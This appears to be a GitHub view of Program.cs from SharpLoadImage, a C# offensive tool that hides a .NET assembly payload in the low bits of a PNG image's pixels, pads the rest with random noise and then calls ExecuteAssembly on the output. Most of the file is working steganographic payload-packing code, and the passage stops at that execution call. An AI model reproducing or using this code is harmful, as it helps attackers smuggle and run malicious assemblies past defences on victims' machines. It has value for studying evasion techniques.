-
Notifications
You must be signed in to change notification settings - Fork 7
Expand file tree
/
Copy pathProgram.cs
More file actions
167 lines (141 loc) · 5.99 KB
/
Copy pathProgram.cs
File metadata and controls
167 lines (141 loc) · 5.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
//
// Authosìr: B4rtik (@b4rtik)
// Project: SharpLoadImage (https://github.com/b4rtik/SharpLoadImage)
// License: BSD 3-Clause
using System;
using System.Text;
using System.Drawing;
using NDesk.Options;
using System.IO;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Linq;
namespace SharpLoadImage
{
class Program
{
static void ShowHelp(OptionSet p)
{
Console.WriteLine("usage: SharpLoadImage -a [path to assembly] -i [path to image source] -o [path to output file]");
Console.WriteLine();
Console.WriteLine("Options:");
p.WriteOptionDescriptions(Console.Out);
}
static void Main(string[] args)
{
string assemblypath = "";
string image = "";
string outputfile = "";
bool showHelp = false;
var p = new OptionSet() {
{ "a|assembly=", "Assembly to hide.\n", v => assemblypath = v },
{ "i|image=", "Image src.", v => image = v },
{ "o|output=", "Output file", v => outputfile = v },
{ "h|help", "Show this message and exit.", v => showHelp = v != null },
};
try
{
try
{
p.Parse(args);
}
catch (OptionException e)
{
Console.WriteLine(e.Message);
Console.WriteLine("Try '--help' for more information.");
return;
}
if (showHelp)
{
ShowHelp(p);
return;
}
//Payload to work
byte[] payload = File.ReadAllBytes(assemblypath);
Bitmap img = new Bitmap(image);
int width = img.Size.Width;
int height = img.Size.Height;
//Lock the bitmap in memory so it can be changed programmatically.
Rectangle rect = new Rectangle(0, 0, width, height);
BitmapData bmpData = img.LockBits(rect, ImageLockMode.ReadWrite, img.PixelFormat);
IntPtr ptr = bmpData.Scan0;
// Copy the RGB values to an array for easy modification
int bytes = Math.Abs(bmpData.Stride) * img.Height;
byte[] rgbValues = new byte[bytes];
Marshal.Copy(ptr, rgbValues, 0, bytes);
//Check that the payload fits in the image
if(bytes/2 < payload.Length) {
Console.Write("Image not large enough to contain payload!");
img.UnlockBits(bmpData);
img.Dispose();
return;
}
//Generate a random string to use to fill other pixel info in the picture.
string randstr = RandomString(128);
byte[] randb = Encoding.ASCII.GetBytes(randstr);
//loop through the RGB array and copy the payload into it
for (int counter = 0; counter < (rgbValues.Length) / 3; counter++) {
int paybyte1;
int paybyte2;
int paybyte3;
if (counter < payload.Length){
paybyte1 = (int)Math.Floor((decimal)(payload[counter] / 16));
paybyte2 = (payload[counter] & 0x0f);
paybyte3 = (randb[(counter + 2) % 109] & 0x0f);
} else {
paybyte1 = (randb[counter % 113] & 0x0f);
paybyte2 = (randb[(counter + 1)% 67] & 0x0f);
paybyte3 = (randb[(counter + 2)% 109] & 0x0f);
}
rgbValues[(counter * 3)] = (byte)((rgbValues[(counter * 3)] & 0xf0) | paybyte1);
rgbValues[(counter * 3 + 1)] = (byte)((rgbValues[(counter * 3 + 1)] & 0xf0) | paybyte2);
rgbValues[(counter * 3 + 2)] = (byte)((rgbValues[(counter * 3 + 2)] & 0xf0) | paybyte3);
}
//Copy the array of RGB values back to the bitmap
Marshal.Copy(rgbValues, 0, ptr, bytes);
img.UnlockBits(bmpData);
//Write the image to a file
img.Save(outputfile, ImageFormat.Png);
img.Dispose();
ExecuteAssembly(outputfile, payload.Length);